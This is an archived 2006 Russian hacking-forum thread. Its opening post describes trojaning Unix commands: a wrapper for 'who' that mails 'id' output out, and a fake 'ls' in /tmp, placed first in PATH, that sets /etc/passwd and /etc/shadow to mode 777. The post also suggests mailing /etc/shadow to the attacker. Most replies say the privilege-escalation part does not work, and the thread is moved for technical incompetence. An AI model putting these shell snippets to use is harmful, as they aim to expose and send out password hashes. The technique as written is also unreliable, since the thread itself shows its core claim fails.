PDA

Просмотр полной версии : Захват никсов без сплойтов


blackybr
25.06.2006, 19:43
Re Achat ;)

Бывает особо параноидальные админы удаляют с серваков компиляторы. Пытаемся установить гцц из рмп пакета... ааах облом он не работает -) Скомпиленные на других машинках сплоиты явно отказываются работать, ругаясь на сегоднящний дождь/жару и просто плохое настроение.. Что делать? вот и задумался.. пока не натолкнулся на одном из форумов на интерестную идейку, которая в принципе известна, но вот решил расписать ее поподробней.. Его может юзать как админ так и ты, c00l m3g4 h4x0r =) Итак приступим.

Если брать в расчет админа, то ему провернуть все это намного легче, т.к. он уже "по условию задачи" обладает рутом ) Что проделываем хакер, проникая в систему? чаще всего юзает команды типа ls, last, who, id, which, uname и т.д. И основная задача админа в случае проникновения взломщика установить своеобразные ловушки на эти команды. Постойте, у нас же нет компилятора? Зато у нас есть руки =) Все можно проделать с помощью перля, питона или просто средстави нашых никсов. Возьмём к примеру who. Определим где она у нас находится следущим образом:
which who
В ответ получаем что-то вроде /usr/bin/who
Права на неё равны –rwxr-xr-x, что сопостовимо с 755. Переименовываем who например в who_new. Делаем это следующим образом:
mv /usr/bin/who /usr/bin/who_new
Изменяем права на who_new на 755, чтобы он мог выполняться:
сhmod 755 /usr/bin/who_new
Теперь чтобы выполнить who надо выполнить в консоли who_new (Главное не забудьте вернуть скопированному файлу права, а то ничего не будет работать). Теперь создаем некий клапан для who. Это будет одноименный файл в /usr/bin. Т.е. когда взломщик попытается выполнить who, то будет запускаться наш с вами файл. Для того чтобы записать в новый who нужные нам команды выполним последовательно
сat /usr/bin/who
/usr/bin/who_new
id | mail –n –s Your Base_Is_Under_Attack your@mail
Жмём CTRL+D и ввод закончен, все записалось в /usr/bin/who
Первая и вторая строчка надеюсь понятна, третья же отправляет тебе на почту то, что выдала команда id с заголовком Your Base_Is_Under_Attack -) Ключ -n передает заголовок письма, -s запретит просмотр /etc/mail.rc, чтобы хацкер ничего не заподозрил.
Этим способом можно подменить любую исполняемую программу, главное запомнить что и как менял , а лучше записать на бумажке -))

----------------------------------------

Да, все отлично - скажите вы.. А как быть, если права у тебя не root, а жалкие nobody или обычного юзера?
Работа с исполняемыми файлами в основном в таком случае запрещена. Но у нас есть еще один инструмент в арсенале - переменная окружения PATH Поэксперементируем с ls
Допустим у нас есть права на запись в /tmp. Тогда создадим следущий файл под названием ls.
Запишем в него следущие строчки:
#! /bin/sh
сhmod 777 /etc/passwd > /dev/null
сhmod 777 /etc/shadow > /dev/null
ехес /bin/ls “$@"
Разберем, что же мы накатали. Во второй и третьей строчке содержатся команды изменения прав на файл юзеров и паролей + обнуление всех месаг, которые могут появиться на экране. В 4ой выполняется команда ls из /bin. Так как мы создали этот файл, то мы можем поставить любые права на него, ставим 777
сhmod 777 /tmp/ls
Наш файл готов. Осалось сделать так, чтобы он выполнялся вместо реальной ls. Ничего нет проще =) Для этого просто добавляем каталог /tmp в самое(!) начало системной переменной окружения PATH. Для этого всеголишь подправляем файлик .bash_profile, в строчке PATH=$PATH:/sbin:/usr/sbin/:/usr/local/sbin добавляем наш каталог.
Итак теперь если у пользователя хватит прав на изменение прав (скорее всего у рута), то /etc/shadow и /etc/passwd откроются для всеобщего обозрения -)
Можно вставить в нашу фэйковую ls что-то вроде cat /etc/shadow | mail your@mail (просто отсылает зашифровынные пароли на мыло). Вобщем тут можно делать все что хочешь)
Единственное что может делать админ в этом случае - проверять переменную PATH, убрать ставящиеся по дефолту права,либо задавать полный путь до исполняемого фала, т.е. для просмотра содержимого каталога вводить каждый раз /bin/ls -lia.. Даже законченный параноик не будет этого делать...
В статье мы научились захватывать сервак без использования палевных сплойтов, рушивших систему или просто не работающих =)

Special For Achat
(c) blackybr

PS т.к. многим личностям оказалось непонятно, то поясняю.. для превого случаю нужен РУТ (т.к. по условию вы админ!) ДЛя второго нужен просто юзэр доступ!

Dracula4ever
25.06.2006, 19:47
Молодец!!!

Мне понравилась твоя статья

bl4ck-cat
25.06.2006, 20:06
Накатал аж на + :)
Статья хорошая

hidden
25.06.2006, 20:18
Хорошая статья!

bul.666
25.06.2006, 20:19
Статья в норме, но можно и получше...

nerezus
25.06.2006, 20:31
mw /usr/bin/who /usr/bin/who_new кто найдет 2 ошибки в этой строке - тому +4 )

Dracula4ever
25.06.2006, 20:37
/usr/bin/who
/usr/bin/who_new

bl4ck-cat
25.06.2006, 20:45
нашел пока 1
mv вместо mw
=)

Go0o$E
25.06.2006, 20:58
Вроде правильно так: mv usr/bin/who usr/bin/who_new

hidden
25.06.2006, 21:02
Я думаю, нерезус имел в виду, что во втором коде используется не /usr/bin/who_new, а /usr/bin/system_who, ну и конечто как уже сказал bl4ck-cat mv, а не mw, но ведь никто от ошибок не застрахован.

c411k
25.06.2006, 21:13
1. mw - mv
2. mv /usr/bin/who /usr/bin/who_new просто переименует файл /usr/bin/who на /usr/bin/who_new.. т.е правильней было бы cp /usr/bin/who /usr/bin/who_new.

limpompo
25.06.2006, 21:13
mv /usr/bin/who /usr/bin/who_lol

nerezus
25.06.2006, 21:28
Для всего описанного в статье нужны права рута.

nerezus
25.06.2006, 21:30
3 ошибки оказалось )

bl4ck-cat
25.06.2006, 22:44
nerezus
хм... а файл .bash_profile разве нельзя подредактировать без рута?

blackybr
26.06.2006, 08:06
Рут нужен только для первго случая, а для изменения переменной path нужен гостевой дочтуп (иногда и нободи сойдёт) . Проверено и не один раз

blackybr
26.06.2006, 08:07
с411k а нам и нужно ПРОСТО переименовать его

...Переименовываем who например в who_new...

nerezus
26.06.2006, 17:44
а для изменения переменной path нужен гостевой дочтуп ты ее изменишь себе.

limpompo
26.06.2006, 18:04
Гы для того что-бы переименовать who нужны права РУТА!

nerezus
26.06.2006, 18:36
Угу, я это второй ошибкой и назвал.

Tem
26.06.2006, 19:31
Если нужна права рута то значить статья некудышная ?

nerezus
26.06.2006, 19:44
То значит в ней нет смысла.

bl4ck-cat
26.06.2006, 19:48
права рут нужны только для 1 случая с who

blackybr
26.06.2006, 20:20
Вы читать умеете? РУТ нужен для ПЕРАОГО случая. Для воторого нужен обычный ЮЗЕР.

Tem
26.06.2006, 20:54
Если у меня будет рут доступ мне и так будет хватать )

nerezus
26.06.2006, 21:02
Для воторого нужен обычный ЮЗЕР. для какого?

blackybr
26.06.2006, 21:04
2Tem первый спосбо для защиты сервера. Второй для взлома.
Спец для nezerus разделил способы с помощью "-------"

nerezus
27.06.2006, 09:32
Для этого всеголишь подправляем файлик .bash_profile, в строчке PATH=$PATH:/sbin:/usr/sbin/:/usr/local/sbin добавляем наш каталог. вот на это прав не хаватит, чтобы файлик подправить.

blackybr
27.06.2006, 10:13
nerezus сначала попрбуй потом говори.. у меня почему-то всегда хватало

nerezus
27.06.2006, 10:36
Ну ты меня учить будешь?

nerezus ~ $ ls -la /root/.bash_profile
ls: /root/.bash_profile: Permission denied
nerezus ~ $ ls -la /etc/bash.bashrc
-rw-r--r-- 1 root root 1546 2006-06-06 14:45 /etc/bash.bashrc

nerezus
27.06.2006, 10:44
Или даже немного подумай: предположим ты админ сервера, тебе не кажется, что разрешать изменять файл - это глупость? ))

blackybr
27.06.2006, 10:45
по дефолту он всегда разрешен на запись

limpompo
27.06.2006, 10:49
blackybr - заблуждаешься... Вчера тоже тестил на 10 серваках.... как я и ожидал послали меня в Пермисион =) так что Статья некудышная!

blackybr
27.06.2006, 10:55
2limpompo тестил на 3х серваках =) естесно не на своих... у меня все работало
зачем мне откровенный бред писать

limpompo
27.06.2006, 11:00
Анука видео сними... а то не верится....

Nova
27.06.2006, 11:04
Ага мне тоже не вериться что запись присутсвует !
если админ нормальный то у тебя прав даже на ту деректорию не хватит чтоб посмотреть что там.

2Автор как уже выше сказал лимп сними видео а мы посмотрим.

limpompo
27.06.2006, 11:10
ДА ещё поправка... если можно то на 2-3 серваках.... проделай это....

blackybr
27.06.2006, 11:11
[br@+++]$ cat .bash_profile
# .bash_profile

# Get the aliases and functions
if [ -f ~/.bashrc ]; then
. ~/.bashrc
fi

# User specific environment and startup programs

PATH=$PATH:$HOME/bin
BASH_ENV=$HOME/.bashrc
USERNAME="***"

export USERNAME BASH_ENV PATH

вот тот юзер который под звездами прописан и может выполнять все это.. на 8ом рэдхэте и фк4 у меня там по дефолту гест
Упирается все естественно в непутевость админа, не изменившего доступ

Nova
27.06.2006, 11:14
Видео всё равно сними !

blackybr
27.06.2006, 11:15
никогда видео не снимал.. если получится то будет вам видео :)

limpompo
27.06.2006, 11:17
Если видео не сможешь снять... Зделай скриншоты!

Deem3n®
27.06.2006, 11:43
Автор поясни народу какой именно файл ты подправляешь: ~/.bash_profile или /root/.bash_profile ?

blackybr
27.06.2006, 11:52
~/.bash_profile естественно

Nova
27.06.2006, 11:55
Кароче кончаем флудить автор сними видео !

вот тебе линк прочти и сними видео

http://forum.antichat.ru/thread2851.html

AoD
27.06.2006, 12:08
~/.bash_profile естественно

чё за тупизм если правишь ~/.bash_profile то знак ~ означает что ты правишь .bash_profile пользователя под которым ты зашол в систему т.е. если ты зашол под nobody то собственно и .bash_profile фаил ты правишь этого самого nobody, а у него прав на изменение привелегий файлов (passwd и master.passwd или shadow) нет. Чтобы второй способ прокатил необходимо изменить файл .bash_profile у пользователя у которого есть права на изменение /etc/master.passwd или /etc/shadow соответственно, а права такие есть только у root-а соответственно изменять нужно не ~/.bash_profile а /root/.bash_profile на изменение которого у тебя прав не хватит соответственно. Так что статья бред п.с по крайней мере вторая её половина.

w00d
27.06.2006, 15:08
cd ~
делает тоже что и
cd
и тоже самое что и
cd $HOME
то есть ~ - адрес домашнего каталога.


зы: щас дочитаю статью еще отпишусь..

w00d
27.06.2006, 15:39
Статья полнейший бред.. Или я полностью согласен с AoD`ом или я нуб..
Действительно как можно изменить .bash_profile не имея прав его владельца.. это во первых.. во-вторых, фаил .bash_profile выполняется ТОЛЬКО ОДИН РАЗ при первом входе этого пользователя(владельца этого файла)..каждый раз же запускается фаил .bashrc .. да и пофигу.. прав на его запись/изменение нет..


Статья хлам..

rent0n
28.06.2006, 21:10
статья - бред. как, имея только nobody, ты собрался читать .bash_profile?

w00d
29.06.2006, 10:06
Ладно, предположим у нас есть sudo на этой машине..(не знаю как.. предположим ЧУДО!...).. так вот:

А что если в файлике /etc/shadow /etc/passwd нет паролей?
Если весь процесс, вся система авторизации идет через LDAP?

аффтар выпий йаду!

nerezus
30.06.2006, 10:01
Тема перенесена, автор не имеет даже базового представления о работе в никсах.

[loy]
02.08.2006, 02:25
не я как админ считаю как ты добавиш
/tmp в системное окружение если /etc/profile стаит 644
и /root/.bash_profile стоит 644 а то и может 600

[loy]
02.08.2006, 02:43
шя прочитал тему полностьб ПОНЯЛ ЧТО АВТАР ЛАМЕР ВИНДОВОЗНИК и делал ты тему от рута на компе